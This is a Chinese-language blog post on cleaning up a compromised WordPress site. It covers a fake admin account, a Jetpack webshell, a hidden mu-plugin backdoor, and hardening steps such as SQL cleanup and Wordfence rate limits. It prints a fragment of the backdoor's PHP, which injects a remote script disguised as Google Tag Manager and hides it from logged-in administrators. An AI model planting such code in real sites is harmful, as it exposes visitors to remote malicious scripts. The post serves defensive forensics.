身為 WordPress 網站開發者與維護者,最不想看到的莫過於網站突然跳出「致命錯誤(Fatal Error)」,或是後台出現不屬於你的神秘管理員帳號。
最近處理了一個典型的 WordPress 網站資安救援案例:網站不僅遭外部殭屍網路(Botnet)頻繁暴力破解,還被植入了相當狡猾的持久化後門(Persistence Backdoor),最後甚至因為系統自動清理機制觸發了外掛崩潰。
這篇文章將還原整起資安事件的攻擊路徑鑑識、木馬剖析,以及分享一套我在實戰中總結出的 WordPress 徹底清毒與防護加固 SOP。
1. 事發經過:一次離奇的 Fatal Error
事發最初的徵兆非常常見:客戶收到了一封 WordPress 官方發出的致命錯誤通知信,提示網站上的 Jetpack 外掛載入失敗:
Uncaught Error: Failed opening required '/.../wp-content/plugins/jetpack/3rd-party/creative-mail.php'
乍看之下只是外掛更新失敗或檔案遺失,但當我們進一步檢查主機日誌(uploads/mwc-log)時,才發現事情並不簡單:
[MATCH plugin-folder [WonderfulWebshell_or_shell_payload_eval] -> deleting DIR: .../wp-content/plugins/jetpack]
真相大白: 原來是主機端的自動化防禦機制掃描到 Jetpack 目錄下被駭客寫入了 Webshell 木馬,為了安全直接暴力刪除了整個 Jetpack 資料夾,才進而導致 WordPress 丟出 E_ERROR。
隨後我們進一步排查,發現這只是冰山一角——駭客早就已經在網站深處紮了根。
2. 駭客手法拆解:狡猾的三層攻擊路徑
經過檔案鑑識與資料庫比對,這起事件的攻擊者使用了非常標準且具隱蔽性的三層架構:
[外部 Botnet 分散式攻擊]
│
├───> 1. 創設偽裝管理員 (Persistence): ID=4, Display Name: "Cache Worker"
│
├───> 2. 植入 MU-Plugin 後門 (Execution): /wp-content/mu-plugins/wp-fixplugin.php
│ ├── 自動對一般訪客注入外部惡意 JS
│ ├── 開放 REST API 遠端控制端點
│ └── 特意對登入中的管理者隱藏(繞過檢查)
│
└───> 3. 寫入 Webshell (Payload): /wp-content/plugins/jetpack/...
關鍵後門剖析:wp-fixplugin.php
其中最值得注意的就是藏在 /wp-content/mu-plugins/(Must-Use Plugins)目錄下的 wp-fixplugin.php。
mu-plugins 是 WordPress 的原生功能,裡面的程式碼會自動強制執行,且無法在 WP 後台手動停用,極易成為資安盲點。這個惡意腳本寫得非常陰險:
// 只有「非登入訪客」才會看到惡意腳本,管理者登入時完全無異狀!
function wp_fixplugin_inject_script() {
if ( is_user_logged_in() && current_user_can( 'manage_options' ) ) {
return;
}
echo '<script src="https://bernovoka.com/googletagmanager.js?v=2.0"></script>';
}
它不僅向一般訪客注入假冒的 Google Tag Manager 惡意腳本,還註冊了自己的 REST API 路由(/wp-fixplugin/v1/update),讓駭客只要帶有指定 API Key,就能遠端隨時替換跳轉網址並強制清空快取。
3. WordPress 徹底清毒與復原 SOP
為了確保沒有任何殘留的後門或觸發點,我們執行了以下四階段處置:
階段一:拔除木馬與後門檔案
- 清理
mu-plugins: 手動刪除/wp-content/mu-plugins/wp-fixplugin.php。(註:若裡面有0-worker.php或automation-by-installatron.php屬於主機/管理工具正常檔案,可予以保留)。 - 清理上傳區: 檢查
/wp-content/uploads/下是否殘留任何.php檔案,全部強制刪除。 - 刪除異常外掛: 檢查並移除如
/wp-content/plugins/wordpress-configurator-optimizer這類非官方認證的可疑資料夾。
階段二:重構受損的核心外掛
將完全破損的 Jetpack 資料夾刪除,從 WordPress 官方下載最新乾淨版本重新覆蓋安裝,網站立即恢復正常運作。
階段三:資料庫(MySQL)深度清查
光刪檔案不夠,必須到 phpMyAdmin 清查隱藏帳號與 Options 殘留:
-- 1. 查出所有擁有管理員權限的帳號,抓出可疑的 Cache Worker (ID=4)
SELECT u.ID, u.user_login, u.user_email
FROM wp_users u
JOIN wp_usermeta m ON u.ID = m.user_id
WHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%';
-- 2. 徹底刪除該非法管理員
DELETE FROM wp_users WHERE ID = 4;
DELETE FROM wp_usermeta WHERE user_id = 4;
-- 3. 清理 wp_options 資料表中的木馬殘留設定
DELETE FROM wp_options WHERE option_name LIKE '%wp_fixplugin%';
階段四:資安防火牆加固與全站快取清空
- 清空 Page & CDN Cache: 將 WP Rocket / LiteSpeed 以及 Cloudflare 快取全部 Purge,確保 Edge Server 上不再留有被注入的惡意 HTML。
- 重置管理員金鑰: 前往 WordPress Salt Generator 生成新 Salt 貼入
wp-config.php,強制全站所有帳號(含可能暴露的 Session)立即登出。
4. 關鍵防禦設定:Wordfence Rate Limiting 最佳實踐
清理完畢後,如何防止這群殭屍網路(Botnet)捲土重來?
許多人在設定 Wordfence 時,預設的 Rate Limiting 往往過於寬鬆(例如每分鐘允許 1920 次請求),這對自動化掃描器根本毫無阻擋效果。建議將速率限制緊縮至以下數值:
| 速率限制項目 (Rate Limiting) | 推薦數值 | 建議觸發動作 |
|---|---|---|
| If anyone's requests exceed | 240 / min |
Throttle it (限速) |
| If a crawler's page views exceed | 120 / min |
Throttle it |
| If a crawler's 404s exceed | 30 / min |
Block it (封鎖) |
| If a human's page views exceed | 60 / min |
Throttle it |
| If a human's 404s exceed | 30 / min |
Block it (封鎖) |
此外,在 Brute Force Protection 設定中,將已知被刪除的非法帳號(如 Cache Worker、admin 等)填入 Immediately block users who try to sign in as these usernames。
調整完成後,防火牆生效極快,日誌顯示來自世界各地的攻擊 IP 在嘗試猜測無效帳號的第 1 秒,就直接被 WAF 攔截並封鎖:
[Lockout] User with IP 185.81.145.146 locked out: Used an invalid username 'admin' to try to sign in.
結語與維護建議
網站資安就像是一場持久的攻防戰。經過這次處置,我們不僅幫客戶完全封堵了後門,還保留了 90 天的完整備份,並建立起一週的深度監控期。
總結給 WordPress 開發者與站長的三個維護習慣:
- 定期巡檢
mu-plugins與uploads資料夾,不要以為後台沒跳警告就是沒事。 - 絕不使用
admin或預設名稱作為管理者帳號,並強制啟用 2FA 雙重驗證。 - 防火牆 Rates Limiting 務必調緊,主動將踩到 404 弱點掃描的惡意 IP 在第一時間拒之門外。
希望這篇實戰紀錄能為遇到類似 WordPress 中毒問題的工程師或站長提供清晰的排查思路!
★安迪連碎碎念
專注於3C科技生活、美食旅遊與攝影的部落格,誠實心得,歡迎常來!
部落格: https://blog.andylain.com/
臉書粉絲團: https://www.facebook.com/Andyblogtw/
--
▲若有任何疑問或建議,歡迎在文章下面留言!
☆不想錯過任何新文章/攝影教學/實用軟體推薦/超誠實食記?
→現在就立刻按讚「安迪連碎碎念粉絲團」吧~